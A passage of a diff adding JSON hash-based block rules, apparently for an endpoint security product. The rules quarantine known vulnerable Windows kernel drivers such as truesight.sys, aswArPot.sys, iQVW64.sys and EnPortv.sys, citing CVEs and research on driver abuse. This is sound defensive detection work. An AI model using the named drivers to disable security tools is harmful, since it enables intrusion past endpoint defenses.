+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5075bbd95d7f849fceb89e8d8ee6e471f43f38f10e73ce0051c430860fd8bf82",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c0e5f36-b170-519b-9d56-7547d9f9149a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970193Z",
+  "creation_date": "2026-03-23T11:45:29.970195Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970200Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8e307f2af1c1ae3d5ef6581e651823e3b6bfb9d7b565353cbd50e455c1dc9c8",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c11ca77-7e61-5be0-92c9-3ac811bc4926",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819411Z",
+  "creation_date": "2026-03-23T11:45:30.819413Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819419Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "909f6c4b8f779df01ef91e549679aa4600223ac75bc7f3a3a79a37cee2326e77",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c19b064-0ba6-50e5-bbf2-d490e7d111ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972353Z",
+  "creation_date": "2026-03-23T11:45:29.972355Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cc54914473d7c75a483c5672655bd9df2ce20b556a0d92c6e4cb8722ab1647b",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c1b3711-43cc-5bd3-a4f2-38e5fa9f4a0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980567Z",
+  "creation_date": "2026-03-23T11:45:29.980569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bedb1e28fd1cdf391edc859c58cb318a9ab686f254195246909b245e7aaf7669",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c296f4f-092b-5712-9a72-5f6b814e6311",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495853Z",
+  "creation_date": "2026-03-23T11:45:31.495855Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28655efe3e72526fc4262af0ce8796e97afc40670f9f07cc0d3a6757ccf01b8b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c298533-10ab-55ea-91a9-0cea427041a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985268Z",
+  "creation_date": "2026-03-23T11:45:29.985270Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985276Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1fd7a44b042d397ad5a6417e4aa4b30eb2e40df6274d3ac7155ecc68c88cdb6d",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c2bc3d1-876e-520c-9924-2a7d6f490f64",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831901Z",
+  "creation_date": "2026-03-23T11:45:30.831903Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831908Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17f56891f409d185f9932c314c74fe4159f1bd98ef9461fb27cc6d43cdc051ab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c4430c1-f79e-5c07-a7f1-c2e8015a8dfe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140170Z",
+  "creation_date": "2026-03-23T11:45:31.140172Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140178Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3547ced5aba570748d3afc0b1c50d4303da5a7310bb184acffdc0e4a2a6df2d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c4b3f28-312a-564e-83ab-9c1aef5d36cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807427Z",
+  "creation_date": "2026-03-23T11:45:31.807429Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807435Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14841bd8f99ccfa7bd0498fa61b94be442b89a275ff658728f3c200ba7453f87",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c586110-3801-595a-b9db-140ecdbb1518",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144861Z",
+  "creation_date": "2026-03-23T11:45:31.144863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144879Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be0acb944b14fae853a06873bb74b3f0b4b9e9953f1ed190f4c870321abb55bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c69ad6e-25b6-5017-97de-e050310052af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980646Z",
+  "creation_date": "2026-03-23T11:45:29.980648Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980654Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2e10e17bca5e85e6b84345b47aab14adf45d98c672db6acf90479a7faf20b5a",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c69dfec-5f73-5df3-a6fd-7c1beaeaf066",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822764Z",
+  "creation_date": "2026-03-23T11:45:30.822766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822771Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "811f82960814c21949534fc1808e341a5b22caf52a094e5e427dac3aa6c7aa73",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c766cfb-3e01-5c7d-86d7-7d5e83c04a37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811880Z",
+  "creation_date": "2026-03-23T11:45:31.811882Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811888Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3f57d2b8ee90e6abf95a794068b078cb460404b7bee8ebffb6af770e01ef755",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c92ca5c-5459-5868-8526-834399dde287",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824847Z",
+  "creation_date": "2026-03-23T11:45:30.824850Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824858Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de86f46cbe03899317ca5eea86d1d097e544981ebd4dd4e877fc4172331a0316",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c98ebff-946b-5325-9fe2-5942ea795da8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498334Z",
+  "creation_date": "2026-03-23T11:45:31.498337Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498345Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e5fc71ec72058d01e32845ea0face48d6c2db299d12d3e0a934aa2ae88cbfcb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c9d0d07-0bf1-5b43-afd8-90f4787163ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608352Z",
+  "creation_date": "2026-03-23T11:45:29.608354Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608359Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1d632fec82d0d2e3caf808d0d63dd4e5e6e646011d7223b64fc8a396e3bb127",
+  "comment": "Vulnerable Kernel Driver (aka EnPortv.sys) [https://www.huntress.com/blog/encase-byovd-edr-killer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cad807a-cda1-51f3-a388-295c88e6161d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818765Z",
+  "creation_date": "2026-03-23T11:45:31.818769Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c24049cf3a07da50239e60c6613bb8c1ed1334d26a194a2a74b531a12fd8062",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cb3846e-9388-5a91-92f7-d43c72264947",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817232Z",
+  "creation_date": "2026-03-23T11:45:31.817234Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817240Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "950600f5b8c3d412f8d323761a37d924ce21d7044e1d60751f12a760a9c576a2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cbfe323-e6ef-5a51-8661-b5a1669bb773",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492356Z",
+  "creation_date": "2026-03-23T11:45:31.492358Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492363Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be0e9d9ffea406e92801dd5db568baf4ba033e0b519b7991f6f3e14cc107a719",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cbfecb3-7437-5357-8676-ccbddd697a9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818469Z",
+  "creation_date": "2026-03-23T11:45:30.818471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "582b62ffbcbcdd62c0fc624cdf106545af71078f1edfe1129401d64f3eefaa3a",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cc87e45-adb7-5990-8459-9a83bf8fb153",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480806Z",
+  "creation_date": "2026-03-23T11:45:30.480808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480818Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5be106b92424b12865338b3f541b3c244dce9693fe15f763316f0c6d6fc073ee",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cd642e0-f30b-5d4a-ad70-ddf9ce4ab906",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812408Z",
+  "creation_date": "2026-03-23T11:45:31.812412Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812420Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96c45ce5fbbf8f5ac78b1fd7c3018a155158699209ccfc76c75e781e79063197",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
